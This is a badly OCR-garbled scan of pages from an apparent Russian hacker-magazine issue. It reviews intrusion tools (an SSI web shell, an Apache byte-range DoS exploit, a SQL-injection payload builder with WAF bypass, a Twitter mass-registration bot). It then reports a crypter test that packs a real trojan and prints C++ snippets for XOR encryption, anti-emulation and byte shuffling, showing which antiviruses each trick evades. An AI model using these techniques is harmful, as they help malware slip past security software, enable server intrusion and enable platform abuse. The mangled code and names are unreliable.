от мошенников типа Василия, о котором мы говорили в начале 
статьи, — ведь им просто будет невыгодно скликивать рекламу 
со своих сайтов. Конечно, этот способ имеет и свои минусы — при 
небольшой цене за клик количество покупателей твоей рекламы 
может резко сократиться. Впрочем, если тебе не жалко никаких 
денег на рекламу и ты по счастливому стечению обстоятельств 
владеешь миллионами, то можешь забыть про этот метод. 

ЗАКЛЮЧЕНИЕ 

С кликфродерами бороться непросто, ведь они постоянно совер- 
шенствуют свои методы скликивания (хотя не перевелись еще 
личности, которые делают все ручками). Для защиты от таких 
мошенников поисковые системы и другие площадки предостав- 
ляют конечному пользователю достаточно мощные средства ана- 
литики, с помощью которых можно пресекать любой кликфрод 
на корню. Конечно, все мошеннические клики не отследишь и 
всех злоумышленников не поймаешь, но с помощью сервисов, 
рассмотренных в статье, ты вполне сможешь отловить большую 
часть кликфродеров и предоставить рекламной площадке отчет 
об их действиях, чтобы вернуть свои кровные :). ПЕ 
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ѴѴЕВ-5НЕІ_І_ 




СИСТЕМНЫЙ 


РЕГИСТРАТОР АККАУНТОВ 


551 


ПРОКСИФИКАТОР ѴѴЮЕСАР 




ТѴѴІТТЕР НЕ66ЕР 




Думаю, ты нередко сталкивался с тем, что после 
заливки любого из известных РНР-шеллов на 
нужный сайт команды ОС выполнять было не- 
возможно. Таким образом, ты не мог сделать с 
сервером ничего полезного. Рутовые эксплойты, 
бэк-коннект и прочие необходимые в таких случа- 
ях вещи просто-напросто нельзя было запустить. 
Зачастую единственная возможность работы с 
командной строкой заключается в том, чтобы 
заливать и запускать шеллы на Питоне, Перле 
и других языках. Однако и она далеко не всегда 
представляется взломщику. Как быть в таких 
случаях? Очень просто! Если ты слышал о 551 
(зегѵегзісіе іпсЫез) во всеми любимом Апаче, то 
должен знать, что эта технология позволяет вос- 
пользоваться замечательной директивой #ехес 
стсі. Все предыдущие решения для выполнения 
команд через эту директиву были сделаны на 
коленке и не обладали удобным интерфейсом. 
Поэтому спешу представитьтебе долгожданный 
и вполне качественный 551-шелл, позволяющий 
с удобством обходить досадные ограничения 
РНР. Шелл имеет всю привычную функциональ- 
ность и кроме этого реализует: 

• просмотр произвольныхфайлов; 

• 551-инклуд произвольных файлов; 

• выполнение произвольных командОС; 

• беспал евную передачу команд через заголо- 
вок НТТР_СООКІЕ; 

• работучерез Заѵа5сгірЕ 



ѴѴібеСар — это культовая тулза- 
проксификатор, предназначенная для орга- 
низации ТСР/ІР-туннеля через прокси-сервер 
или цепочку прокси-серверов. На низком 
уровне прога является полнофункциональным 
виртуальным сетевым драйвером и поставщи- 
ком услуг разрешения имен системы ѴѴіпзоск. 
Поддерживаются все наиболее распростра- 
ненные типы прокси: 50СК5ѵ4, 50СК5ѵ5, НТТР/ 
НТТР5. 

Особенности и преимущества программы: 

1. Гибкаясистема правил. Можно настраивать 
абсолютно все: индивидуальные цепочки 
прокси, адреса исключений, кэш 0Ы5, ско- 
рость сети, лимит потрафику и многое другое. 

2 . Встроенный прокси-чекер, который рас- 
познаеттип прокси. 

3. Импортпрокси. Можнозагружатьсписки 
прокси ков из файлов или документов в 
интернете, также присутствует поддержка 
регулярок. 

4 . Журналированиетрафика. 

Надеюсь, тебе не нужно объяснять, зачем 
ѴѴібеСар может понадобиться тру-хакеру :). Сам 
автор указывает следующие причины: обеспе- 
чение безопасности твоего компьютера, доступ 
к ресурсам, закрытым корпоративным шлюзом, 
анонимный серфинг в Сети, дешевый трафик 
через туннель интернет-провайдера и т.д. 



Как видно из названия, эта утилита предна- 
значена для автоматической регистрации ак- 
каунтов в Твиттере. Реггер может пригодиться 
в случае, если тебе вдруг понадобится создать 
сотни фолловеров и быстро распространить 
свой твит по интернету. Вот небольшой список 
того, что прога умеет делать: 

• регистрироватьаккаунт(без подтверждения 
пое-таіі); 

• фолловитьуказанный аккаунт; 

• заполнять некоторые поля в профайле («Ме- 
стоположение», «Сайт», «О себе»); 

• загружатьаватар (из папки аѵаіагз); 

• работатьчерез прокси; 

• записыватьи выводитьподробныйлогработы. 

Единственным, но не слишком существен- 
ным недостатком проги является необходи- 
мость ввода капчи. Впрочем, капча на Твитте- 
ре не такая уж мудреная, так что на скорость 
регистрации она мало влияет. 

Имена для аккаунтов ты можешь положить 
в соседний с экзешником файл пате.М. Все 
зарегистрированные аккаунты добавляются 
в файл ассоипІз.М. Для корректной загрузки 
аватара путь к программе не должен содер- 
жать русских букв, а поле «Сайт» обязательно 
должно быть заполнено. Еще одна приятная 
особенность этой утилиты состоит в том, что 
она является опенсорсной. 
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УБИЙЦА АПАЧА АБАИА К!І_І_ЗР 

Если ты внимательно следишь за багтраком, 
то наверняка наслышан об опаснейшей уязви- 
мости в НТТР-сервере АрасЬе ( Ьіі.Іѵ/гдѵНВі ), 
основанной на фиче, которая позволяет 
докачивать прерванные закачки. С помощью 
этого бага злоумышленник может легко и 
непринужденно вызвать отказ в обслужива- 
нии, заняв всю доступную память, причем для 
атаки достаточно всего лишь одной машины с 
генерацией минимального трафика! 

Утилита АІапа К!І_І_ЗР от известного кодера 
54(иР4 представляет собой связку тестера 
и эксплойта для вышеуказанной уязвимо- 
сти. Описание бага доступно в Сети, поэтому 
перейдем сразу к нашему убийце Апача. 

Итак, сам эксплойт основан на РоС 



кіІІарасЬе.рІ от некоего Кіпдсоре. Однако 
первоначальный пруф-оф-концепт не был 
работоспособным, так как автор специально 
добавил в код множество багов для защиты 
от скрипткиддисов. 54(иР4 переписал на 
РНР + с11Р1_ этот изначально созданный на 
РегІ сценарий, добавил агрессивный режим 
и тестовую часть для поиска багов в статиче- 
ском контенте сайта (картинки, текст, офисные 
файлы и т. д.). 

Схема работы эксплойта достаточно проста: 
после запуска он начинает отсылать множе- 
ственные хаотичные СЕТ-запросы с указа- 
нием разных диапазонов байт (Ьуіе гапдез) в 
заголовках, тем самым непрерывно отъедая 
системную память. 
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МА6ІСТРЕЕ: 


501,-ИНЪЕКЦИИ С МАХ50Ы 




ПРЯЧЕМ ИНФУ 


ПРОДУКТИВНЫЙ ПЕНТЕСТ 




5УИТАХ ВШЮЕИ 


В ВМР-КАРТИНКАХ 



Приходилось ли тебе когда-нибудь терять 
время, пытаясь найти в беспорядочной куче 
текстовых файлов, к примеру, результаты ска- 
нирования птар? Или грепая множество фай- 
лов по определенному хосту или сервису? Если 
да, то советую тебе в следующий раз попробо- 
вать замечательную утилиту МадісТгее. Прога 
представляет собой продвинутый инструмент 
для повышения продуктивности пентеста. 

Она умеет консолидировать данные и запросы 
из различных пентестерских утилит (ШАР, 
Асипеііх, 0репѴА5, Ыеззиз, Вигр, птар и т. д.), 
запускать внутри себя внешние программы и 
команды (например, птар и пікіо) и генериро- 
вать соответствующие отчеты в самых разных 
форматах (НТМІ_, М5 ѴѴогсІ и др.). 

Слово Тгее (дерево) в названии тулзы 
означает, что все данные в ней хранятся 
в виде древовидной структуры, а слово 
Мадіс (магия) — что процессы управления 
данными и составления отчетов, представ- 
ляющие собой самую скучную и трудоемкую 
частьлюбого пентеста, неким волшебным 
образом упорядочиваются и автоматизиру- 
ются. Описывать здесь подробности работы 
с программой не слишком целесообразно, 
поэтому советую тебе обратиться к под- 
робной документации на английском языке, 
которая лежит по адресу ѵѵѵѵѵѵ.дгетѵѵеІІ.сот/ 
боситепіаііоп . 



Если ты ненавидишь вручную вводить одно- 
образные инструкции в строку браузера/ 
поле/НТТР-заголовки/кукисы при внедрении 
501-кода, то на помощьтебе придет утилита 
МахЗОЫ Зупіах Виіісіег, предназначенная для 
составления ядовитых 501-запросов. Она 
сильно облегчит работу как в случае обычных 
уязвимостей типа 50Ы, так и в случае инъек- 
ций типа еггог ЬазесІ. Функционал и особен- 
ности проги: 

• работа сразличными СУБД; 

• установка количества выбираемыхзаписей 
дляШМІОІМ; 

• базовый обход ѴѴАР с помощью различных 
замен стандартного пробела; 

• извлечение базовой информации о БД; 

• извлечение имен колонокитаблиц; 

• просмотрпроизвольныхфайловчерез БД; 

• добавление различных лимитов и ограниче- 
ний для составления корректногозапроса; 

• подсчетчисла колонок, таблиц и баз данных; 

• легкое переключение между инъекциями 
типа зігіпд и іпіедег ЬагесІ. 

В целом эта утилита обладает такими же фича- 
ми, как и многие другие подобные тулзы, одна- 
ко доступ ко всему ее функционалу, в отличие 
от них, осуществляется с помощью одного и 
того же окна, что очень удобно для быстрого 
составления запроса для 5С11_-инъекций. 



Если ты знаком с понятием компьютерной 
стеганографии, то наверняка должен знать и 
о хакерском методе получения сносок и ука- 
зателей, который основан на использовании 
специальных «невидимых» областей. Этот ме- 
тод реализуется, например, когда в текстовых 
и графических файлах пишут черным шрифтом 
на черном фоне. Примерно потакомуже прин- 
ципу работает и программа 5іедапо, которая 
позволяет скрывать текстовую информацию в 
графических файлах формата ВМР. 

Пользоваться программой не просто, а 
очень просто: 

1. В соответствующем поле на вкладке «Спря- 
тать» выбираем изображение-носитель. 

2 . Заранее выбираем названиедля готового 
изображения. 

3. Задаем параметры скрытия (цвет, частоту и 
пароль). 

4 . Вводим скрываемыйтекст(также можно 
выбратьфайл стекстом или скопировать 
его из буфера обмена) и нажимаем на кнопку 
«Спрятать». 

Скрытая информация будет совершенно 
незаметна для посторонних глаз, а полученное 
изображени почти ничем не будет отличаться 
от оригинала: разница будеттолько в размере. 
Извлечь скрытый текст можно очень легко и 
быстро при помощи этой же программы. 
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ВДАРИМ КРИПТОРОМ 
ПО САМЫМ ПОПУЛЯР- 
НЫМ В РОССИИ 
АНТИВИРУСАМ 

Сегодня в наших испорченных ассемблером 
умах зародилась очередная бессовестная 
идея. Мы решили надругаться над тем, что 
защищает нас от злобных вирусов и троянов, 
единственная цель которых — проникнуть в 
наши беззащитные компьютеры и уничтожить 
жизненно важные данные, заставив нас при 
этом отправить парочку платных СМС. Что из 
этого вышло — читай дальше. 

т ФинЛга приложения X 

/А Иктдошя по адресу ‘ОхОЮ?! 5*Ь“ обрдопкь к ганпти г» адресу ‘Юнс255в307\ Нанять не ножет быть 

"ОТ " мве^ііютк сриійж^тя 
■ХЛнениГ — отпадка «рнпаадния 

[ Йі | Олчна | 

Краш «Блокнота» при зашифровке неправильным ключом 



Прежде чем приступать к тестам, нужно немного разобраться, что 
и зачем мы будем делать. Итак, у нас есть супер-пупер упаковщик, 
который умеет криптовать и запускать всяческие ехе-файлы. Мы 
старательно написали его специально для такого случая ;]. 

Если кто не знает, упаковщики очень популярны в современном 
вирмэйк-мире. Вирусы давно уже переросли стадию «пары сотен 
строк кода» и превратились в полноценные программные про- 
дукты, которые устроены на порядок сложнее. Однако доблестные 
служители киберпорядка постоянно портят злым программистам 
жизнь. Для обхода детектов крайне невыгодно постоянно пере- 
писывать вирь, и поэтому серьезные пацаны юзают крипторы, или, 
по-другому, упаковщики. На них и возлагаются все обязанности по 
обходу антивирей. 

Мы будем тестить реакцию аверов не на весь криптор в целом, а 
на спрятанный внутри него вирус, тело которого мы будем всячески 
шифровать. То есть фактически мы будем проверять, насколько умны 
алгоритмы защитного софта и могут ли они распознавать содержа- 
щийся внутри пакера вирус. Стоит сразу отметить, что эти довольно 
специфические тесты проверяют далеко не все механизмы обнаруже- 
ния заразы. 



СПИСОК ИСПЫТУЕМЫХ 



1. Казрегзку Сгузіаі. Для тестов мы выбрали четверку самых по- 
пулярных в России антивирусов. Первым в очереди будет Казрегзку 
Сгузіаі — флагманский продукт «Лаборатории Касперского». ПО от 
этого производителя хорошо известно не только у нас на родине, но 
и во всем мире. «Лаборатория Касперского» использует для защиты 
ничего не подозревающего пользователя самые последние техноло- 
гии, в том числе и широко распространенные сейчас «облака». 

2. Ог. ѴѴеЬ Бесигііу Брасе. Следующим идет йг. ѴѴеЬ Бесигііу Брасе, 
известнейший продукт от компании «Доктор Веб». Главная его 
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Тест антивирусов по-взрослому 



гордость — это уникальная технология универсальной распаков- 
ки РІ_Ѵ-ССЮЕ, которая, по утверждению разработчиков, позволяет 
антивирусу справляться с неизвестными упаковщиками. 

3. Е5ЕТ N0032 Бтагі Бесигііу 5. Третий в списке — Е5ЕТ N0032 
Бтагі Бесигііу 5. Словаки сумели создать неплохой антивирус, 
который пользуется уважением в том числе и среди наших со- 
отечественников. К сожалению, на сайте этого защитного ПО, в 
отличие от сайта того же «Доктора Веба», ничего не говорится о 
навыках распаковки. 

4. Аѵазі! Ргее Апііѵігиз. Ну и последний участник сегодняшних 
испытаний — это Аѵазі! Ргее Апііѵігиз. Единственный из наших 
подопытных, который раздает себя даром, но при этом имеет и 
платную версию. 



НЕМНОГО ТЕХНИЧЕСКИХ ДЕТАЛЕЙ 



Для полного понимания происходящего нужно немного разобраться 
в технических деталях. Наш упаковщик криптует весь ехе целиком, 
а не каждую секцию в отдельности. Мы создаем РЕ-болванку со 
стабом и помещаем в ее секцию ресурсов бинарь. При запуске стаб 
расшифровывает закриптованный вирь, правильно раскладывает 
его секции в памяти и передает управление на точку входа. Все 
просто. Импорт оболочки со стабом генерируется рандомно или 
берется из живого ехе, так как набор АРІ, который мы используем в 
коде распаковки и запуска ехе, просто кричит о том, что мы право- 
нарушители. 

Мы постарались сделать код стаба максимально неприметным 
для аверов, хотя в нем не используются всякие полиморфизмы и 
маскировка под НІ_І_-код. Таким образом, мы хотим сосредоточить 
внимание антивирусных программ только на секции ресурсов, в 
которой содержится зловред. Защитное ПО должно будет расшиф- 
ровать и задетектить вирус, спрятанный внутри упаковщика. 

Для тестов мы взяли самый настоящий вирь под названием 
РіпсЬ. Этот ехе- фай л валялся у нас уже пару лет, поэтому его долж- 
ны знать все испытуемые. «Касперский Кристал» обозвал вирус 
как Тго]а п- Р5ѴѴ.ѴѴІ п32. Ю РіпсЬ.сІ П;, йг. ѴѴеЬ — как Тгоіап.РаскесІ.1197, 
N0032 — как ѴѴіп32/Р5ѴѴ.І_сІРіпсІ"і^МЗ, а Аѵазі решил, что это 
ѴѴіп32:І_сІРіпсРі^О [ТгД. Более того, для чистоты эксперимента мы 
упаковали и прогнали через сканеры аверов абсолютно безвред- 
ный файл поіерасі.ехе. Благодаря этому мы удостоверились, что наш 
упаковщик чист перед лицом киберзакона. 



ТЕСТ № 1 



Для первого теста мы упакуем наш вирус без всякого шифрования. То 
есть М2- и РЕ-заголовок, секция импорта и прочие подозрительные 
вещи будут видны в секции ресурсов контейнера невооруженным 
глазом. Но при этом мы все-таки пойдем на одну хитрость — возь- 
мем секцию импорта из нашего любимого поіерасі.ехе. Генерировать 
случайный импорт — дело неблагодарное, поскольку очень многие 
антивирусы в первую очередь проверяют именно секцию импорта, и 
неудачный набор используемых АРІ-функций может сильно подпор- 
тить общую картину. 

Первым сработал Казрегзку Сгізіаі. Пара секунд раздумий — и 
вирус обезврежен. Таким же эффективным оказался и «Доктор 
Веб». N0032 Бтагі Бесигііу без труда раскусил хитрый ход и вычис- 
лил, что криптованным вирусом является ѴѴі п32/Р5ѴѴ. БсІРіпсЬ^МЗ. 

И даже Аѵазі легко справился с задачей, попутно указав смещение 
в файле, по которому хранится зловред. 

Все аверы успешно справились с первым испытанием, все 
получают зачет. Если бы кто-то из них завалил тест, то был бы недо- 
стоин называться антивирусом, а на его создателей можно было бы 
подавать в суд — как минимум за причиненный моральный ущерб :). 



ТЕСТ № 2 



Второе испытание мы решили немного усложнить. Для этого перед 
упаковкой зловреда мы криптуем его 32-битным ключом. Алгоритм 
шифрования примитивен до безобразия — это простой хог. Ключ, 
который мы используем, хранится прямо в коде стаба, поэтому если 



і'фог.ЖЁЪ 5 с 


аппес 


^ОІх| 


Ф 


в *еге гіеіЕсь&І 


ЙА ? 



5сапгйтд сотріеіжі. Ог.ѵѴеЬ Есзппег е&іес&кі йтгеай. 

II й ІИ## ікоптпѳпЦесІ цНэе ^ сіеіес&есі Чѵеаіі Ье пеиігаЦес! еттпеЛа(е^. Си.ѴУеЬ Зсэпле* «I 
арЦу -песете ассопЭпд Еп эепіпді. 



ТИгваІі*і[бі:Ькі: 1 

ТЬтваіЕ пвіАгаЬмІ: О 



РИ&пате ТКгеаі Деііоп Раііі 

рпсН_с.ехе ТТо]ап.Раскей.1197 [ Оге | * | С :\йсгур^ріпсН_с.ехв 

(А Нкіе гіЕогтЛЬіап 



«Доктор Веб» успешно проходит первое испытание 

: антивирус обладает начальными навыками эмуляции, то он должен 

і раскусить наш трюк. Чтобы проиллюстрировать процесс криптова- 

І ния, рассмотрим код ниже. 

Криптование бинаря с помощью алгоритма хог 

РѴОІР сгур1:Віпагу(РѴОІО рбіе, ОІлІОКО Тзіге) 

Ь_ 

І ОІлІОКО кеу = 0Х45Р983АѲ; 



РѴОІР сгѵрі: біе = пеы ВУТЕ[-РзІ 2 е] ; 
СоруМетогу (сгур~Мі1е . рбіе. -Рзіге) ; 



-Рог ( зІ 2 ѳ 1: і = 0; і < (Тзіге / зігео-РІ'РШКР’П ; І++1 
( (РІлЮКР*) (сгур-МйІе) і ) Щ л = кеу; 

-Ь- 



геііигп с гѵрі: біе; 

} 

Теперь проверим, как наши аверы справятся с этой задачкой. «Ка- 
сперский», нисколько не сомневаясь, обнаружил упакованный вирь. 
Причем точно назвал его Пинчем, как и оригинал. Рг. ѴѴеЬ тоже не 
подвел и задетектил Пинч. А вот N0032 Бтагі Бесигііу 5 облажался: 
по его мнению, файл был абсолютно безвреден. То же самое сказал и 
Аѵазі, который не нашел никаких признаков вирусного присутствия. 
НОД и Аваст завалили испытание. Это очень плохо. Если такой про- 
стой алгоритм, как хог, смог их запутать, то что же будет дальше? 




«Аваст» не справился с хог 
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МАШАКЕ 



ЧЕСТНО ЛИ ИГРАЛ КА5РЕР5КѴ? 



Такие выдающиеся результаты, которые показал Казрегзку Сгузіаі, 
кажутся нам немного странными. Во-первых, чистый трой без упаковки 
детектился как Тгоіап-Р8ѴѴ.ѴѴіп32.І_0РіпсГі.сІІ1:, а все последующие его 
модификации, полученные с помощью нашего криптора, определялись 
как Тгоіап-Р8ѴѴ.ѴѴіп32.І_0РіпсГі.2Іе. Одинаковое название во всех 
шести испытаниях подталкивает нас к мысли, что авер каким-то 
образом успел выделить сигнатуру зашифрованного Пинча. К 
сожалению, при разработке нашего упаковщика мы тестировали 
его на том же вирусе, который использовали сейчас. Возможно, 
одно неаккуратное движение и позволило «Касперу» отправить 
подозрительный файл в недра своего «облачного» мозга. 

Так как наша первоначальная цель состояла в том, чтобы узнать, 
насколько хорошо аверы справляются с расшифровкой упакованных 
зловредов, такой скан по сигнатурам не позволяет нам судить об 
эффективности «Каспера» в решении этой задачи. Мы, конечно, не 
разбирались, на что именно он реагирует, но в одном из следующих 
номеров мы плотно займемся этим вопросом, а заодно узнаем, чего 
не надо делать в крипторах, чтобы на них не ругался «Антивирус 
Касперского». 



ТЕСТ № 3 



Теперь, когда мы узнали, что простой хог непостижим для не- 
которых представителей антивирусной индустрии, обратим наше 
внимание на Казрегзку и Ог. ѴѴеЬ, испугать которых оказалось не 
так просто. Усложним задачу и добавим немного антиэмуляционных 
трюков. В нашей рубрике в 142-м номере журнала мы тестировали 
эвристику аверов. Применим этот опыт, чтобы модифицировать 
процедуру криптования за счет вызова системной АРІ. 

Будем использовать функцию Сгеа1:еРіІе, чтобы открыть файл 
піісіг. Если открывать этот файл, находящийся в корне системного 
диска, только на чтение, мы получим заранее известный результат, 
который точно не будет равен ІМѴАІ_Ю_НАМОІ_Е_ѴАІ_ІІЕ. В прошлый 
раз ни один из испытуемых не смог разгадать этоттрюк. Посмотрим, 
что будеттеперь, но прежде взглянем на код, чтобы понимать, как 
именно используется Сгеа^еРіІе. 

Код криптования бинаря с помощью СгеаѣеГіІе 

РѴОІР сгѵр1=Віпапѵ(РѴОІР рбіе. РЫОКР -Рзіге 1 ) 

{ 

РѴОІР сгур1=_б1е = пеы ВУТЕ[-РзІ 2 е] ; 

СоруМетогу(сгур1:_б1е, рбіе., -Рзіге); 



НАІ\ІРІ_Е Іі = СгеаІіеРіІеАС'еЛХпІіІсІг"^ 

РІІ_Е_КЕАР_АССЕ55, 0, 0, 
ОРЕІ\І_ЕХІ5ТІІ\І6, 0, ШЫ.); 

і-р (И і = іі\іѵаі.ір_наші.е_ѵаі.це:) 

РІлІОКР кеу ^_0х45Р983А0; 

-Гог (зііе і: і = 0; 

і < (-Гзііе / зігео-ГГ РІлІОКР^П ; 

І++) 

{ 

( (РЫОКР*) (сгур1:_б1е) ) [і] л = кеу; 

} 



геііигп сгур1:_Рі1е; 




Уже не РіпсЬ, но хоть что-то 




N0032 силен в обнаружении некриптованных вирусов 



Расшифровка происходит только в том случае, если вызов СгеаІеРМе 
возвращаетзначение, отличное от ІМѴАІ_Ю_НАМВІ_Е_ѴАШЕ. По нашей 
задумке, это должно сбить аверов с толку, так как они не смогут пред- 
сказать, какое именно значение вернет эта АРІ. 

Однако, начав с «Касперского» мы поняли, что наши надежды не 
оправдались. Также как и раньше, он весело и беззаботно показал нам 
окно, в котором красовалось название Тгоіап-Р5ѴѴ.ѴѴіп32.І_0РіпсГі.2Іе. А 
вот Ог. ѴѴеЬ Зесигі^у Зрасе насторожился. Он не смог понять, что за зверь 
перед ним, и назвал его просто I пГесІесІ АгсРііѵе. N0032 и Аѵазі Ргее 
Апііѵігиз завалили тест. Теперьуже можно смело говорить о лидерстве 
первых двух испытуемых. 



ТЕСТ № 4 



Третий тест натолкнул нас на очень интересную мысль: а что если 
успешно сработавшие аверы не эмулируют код пакера для расшиф- 
ровки трояна, а используюттакое понятие, как энтропия, или мера 
порядка? То есть прежде всего проверяют не сами байты внутри 
файла, а последовательность их расположения? Грубо говоря, 
даже в зашифрованном файле можно выделить секции с данными, 
РЕ-заголовок и прочие структурные элементы. Для проверки этой 
теории мы зашифровали вирус неправильным ключом, так чтобы при 
запуске вирус не был расшифрован, а следовательно, не начал ис- 
полняться. Например, если закриптовать таким образом поіерасі .ехе 
и дважды по нему кликнуть, то мы получим сообщение об аварийном 
завершении программы. 

Запустив процедуру сканирования, мы получили следующие ре- 
зультаты: «Касперский» и «Доктор Веб» успешно обнаружили угрозу, 
а вот N0032 и Аѵазі: не смогли распознать ее. Результаты теста 
оказались полностью аналогичны предыдущим. Это стало для нас 
лишним аргументом в пользутого, что антивирусы действительно ис- 
пользуют законы энтропии. Даже неработоспособный РіпсГі заставил 
лидеров наших испытаний обеспокоиться. 
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Тест антивирусов по-взрослому 



ТЕСТ № 5 



Предыдущий тест показал одну важную вещь — шифровать надо 
тщательней. Простой хог с антиэвристическими уловками не смог 
обмануть таких гигантов, как «Каспер» и йг. ѴѴеЬ, поэтому мы решили 
все тщательно взболтать и перемешать. 

Для начала мы просто переместим первые 256 байттроя в его 
конец. Таким образом мы надеемся в достаточной степени увеличить 
энтропию, чтобы аверы не смогли обнаружить зловред. 

Перемещаем начало виря в его конец 

РѴОЮ сгур1:Віпапу(РѴОІО рбіе, йІлІОРШ -Рзііе) 

і_ 

ШОЩ) кеу = 0Х45Р983А0; 



РѴОІР сгѵр-МпІе = пем ВУТЕ[-РзІ 2 е] : 
СорѵМетогѵ( сгѵрі: Яіе . рТіІе . -Рзііе); 



// меняем начало и конец местами 

СоруМетогу( 

сг 'УРТ_'б1е і 

(ѴОІР*)(((ВУТЕ*)р^1е) + 0x100 ). 

■Рзіге - ѲхІѲѲ) ; 

СоруМетогу( 

(ѴОІР*) ( ( (ВѴТЕ*)сгурТ_б1е) + (Тзіге - 0x100)), 
рбіе, 

0x100); 



{ 



} 



(зігеі: і = 0; і < (-Езіге / зігеоІЧРЫСЖР) ) ; 
( (РЫОКР*) (сгѵрі: 1п1е))[і] Л = кеѵ; 



і±±Х 



геТигп сгѵрі: біе; 

ь_ 



Запустив наши антивири, мы получили абсолютно такой же 
результат, как в тесте № 4. Казрегзку Сгузіаі и Рг. ѴѴеЬ успешно 
справились с заданием, а вот их восточноевропейские братья капи- 
тулировали. Если честно, мы не ожидали от российского защитного 
ПО такой эффективности, но, с другой стороны, приятно, что у нас 
неплохо делают хоть что-то высокотехнологичное. Впрочем, впереди 
еще одно, последнее, испытание. 



ТЕСТ № 6 



Для заключительного теста мы решили полностью перетасовать бай- 
ты в криптуемом файле. Для этого мы разделили трой на две равные 
части и поменяли их местами. Затем каждую из этих половинок опять 
поделили и переставили и так далее, до самого последнего байтика. 
Таким образом, получился рекурсивный алгоритм, который на С++ 
выглядит так: 

Рекурсивный алгоритм перемешивания файла 

ѵоісі 5У\/арМетВ1оск(Ц1-01\1(з Ье§іп. ЦІ.ОІМОІ епсі) 

ІЛ-ОІМС ІіаІТ =^епсІ - Ье§іп)^2; 

ІТ (ІгаІТ < 0x4) 

геТигп; 



ВУТЕ *ЬиТТ = пеы ВУТЕ[епсІ - Ье§іп]; 



2егоМетогу(ЬиТ-р, епсі - Ье§іп); 

СоруМетогу(ЬиТТ, (РѴОЮ)Ье§іп, епсі - Ье§іп); 



СорѵМетогѵ( (РѴОІР) Ье^іп. &ЬиТТ [ ІіаІТ] , ІіаІТ); 
СорѵМетогѵ( (РѴОІР) (Ье^іп + ІіаІТ). ЬиТТ. ІіаІТ); 




Справка 



Тревога 



к 



Казрегзку СКУ5ТДІ обнаружил вредоносное 
программное обеспечение. 

Необходима специальная процедура лечения, 
требующая обязательном перезагрузки 
компьютера. Перед началом рекомендуется 
закрыть все работающие программы. 

Вы хотите выполнить процедуру лечения? 



Объект: 

С : Ісісгу рЁ\ріпсНЗ , ехе 

Троянская программа: 
Тгоіап-Р5>УЛУіп32ХгіРтсЬтт 



+ Да, выполнить (рекомендуется) 

Будет выполнена специальная процедура лечения, по 
окончании которой компьютер будет перезагружен. 

♦ Нет, не выполнять 

Объект будет обработан в соответствии с выбранным 
ранее действием, компьютер не будет перезагружен. 



Вы используете пробную версию. 

Рекомендуется приобрести коммерческую версию. 



Р Применить ко всем объектам 



«Касперский» детектит оригинальную версию Пинча 



с8е1еТе[] ЬігЕ-Р: 

5марМетВ1оск(Ье§іп, Ье§іп + Ііаі-Р); 
5марМетВ1оск(Ье§іп + Ііаі-Р, епсі); 

} 



Тут нас ждал небольшой сюрприз. В отличие от Казрегзку, кото- 
рый снова задетектил угрозу, Аваст и N0032 по-прежнему не захоте- 
ли выполнять свои прямые обязанности. А вот «Доктор Веб» не смог 
разобраться с рекурсивным беспорядком и со спокойной совестью 
записал зловреда в команду хороших программ. Казрегзку Сгузіаі 
вырвался вперед. Более того, он стал безоговорочным лидером в 
сегодняшних испытаниях, но об этом — ниже. 



итоги 



Итак, сегодняшним победителем стал Казрегзку Сгузіаі, который 
успешно прошел все шесть тестов. Чистая победа! Ог.ѴѴеЬ Бесигііу 
Брасе выдержал пять испытаний. Его хваленая технология РІ_Ѵ-ССЮЕ 
оказалась не такой уж технологичной — нащупав один раз слабое ме- 
сто, его можно эксплуатировать очень долго. В хвосте плетутся Е5ЕТ 
N0032 5таг1 Бесигііу 5 и Аѵазі! Ргее Апііѵігиз, которые завалили пять 
тестов из шести и даже не смогли обнаружить вирус, зашифрованный 
с помощью простой процедуры хог. Впрочем, победа «Касперского» 
кажется нам очень подозрительной, поэтому настоятельно советуем 
прочитать врезку. 

На сегодня противоантивирусная лаборатория журнала «Хакер» 
прощается с тобой. До новых встреч и не заражайся! ИНИ 
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МАШАКЕ 



Евгений Дроботун (201074йтаіІ.ги) 





РАСКОВЫРИВАЕМ АНТИВИРУСНЫЙ 
СКАНЕР, ЭВРИСТИЧЕСКИЙ 
АНАЛИЗАТОР И ЭМУЛЯТОР В 
АНТИВИРУСНЫХ ПРОГРАММАХ 




На диске можно найти дистрибутив 
свободно распространяемого 
антивирусного сканера СІатѴѴіп, который 
представляет собой аналог СІатАѴ под 
ѴѴіпііоѵѵб, и антивирусную утилиту АѴ2 
от одного из ведущих специалистов 
«Лаборатории Касперского» Олега 
Зайцева. 




К сожалению, практически все разработчики антивирусного ПО тщательно 
скрывают внутреннее устройство своих творений, прячась за общими 
названиями типа «сигнатурный поиск», «эвристика», «эмуляция», 
«проактивная защита», НІРБ и т. п. (при подготовке этой статьи мы пытались 
обратиться за помощью к создателям антивирусов, :) но безрезультатно). 
Однако мы все же попробуем заглянуть внутрь антивирусных программ и 
посмотреть, что же они представляют из себя на самом деле. 



• Про разные алгоритмы поиска 
подстроки в строке можно почитать 
здесь: доо.дІ/ЦэИс. 

• На доо.дІ/КдЗкѵѵ лежит исходник 
антивируса, основанного на алгоритме 
поиска сигнатур в файлах (алгоритм 
Бойера-Мура), от Василевского Дмитрия 
(ВІаскСазМ. 

• На доо.дІ/иІ848 лежат исходники 
простейшего эмулятора исполняемого 
кода на С++, а на аоо.аІ/иЬѵѵаІ — 
исходники простейшего антивирусного 
сканера на С++. 



088 



ХАКЕР 12/155/2011 





Изучаем антивирус 




ОБЩАЯ МОДЕЛЬ АНТИВИРУСНОЙ ЗАЩИТЫ 



Для более четкого понимания того, как работает антивирусная 
защита, представим ее в виде совокупности двух компонентов — 
технического и аналитического. В принципе, в любой системе 
защиты можно так или иначе выделить эти два компонента: 
например, видеокамеры в торговом зале супермаркета — это 
технический компонент защиты, а охранник возле монитора — 
аналитический. В антивирусных программах эти компоненты 
обязательно разделены на функциональном уровне, но не всегда 
разграничены на уровне алгоритмов и программных модулей 
(рисунок 1). 

Технический компонент — это совокупность программных 
функций и алгоритмов, обеспечивающих аналитический компо- 
нент данными для анализа. В качестве таковых могут выступать, 
к примеру, байтовый код файла, текстовые строчки внутри файла, 
единичное действие программы в рамках операционной системы 
или целая цепочка таких действий. 

Аналитический компонент — это система принятия решений, 
которая анализирует имеющиеся в ее распоряжении данные и 
выносит о них некое суждение. В соответствии с этим суждением 
антивирус предпринимает определенные действия: оповеща- 
ет пользователя, запрашивает у него дальнейшие указания, 
помещает файл на карантин, блокирует несанкционированное 




Рисунок 2. Содержимое файла с тсі5-сигнатурами антивирусного сканера СІатАѴ 
Выделены: сама тсІ5-сигнатура, размер и название малвари 



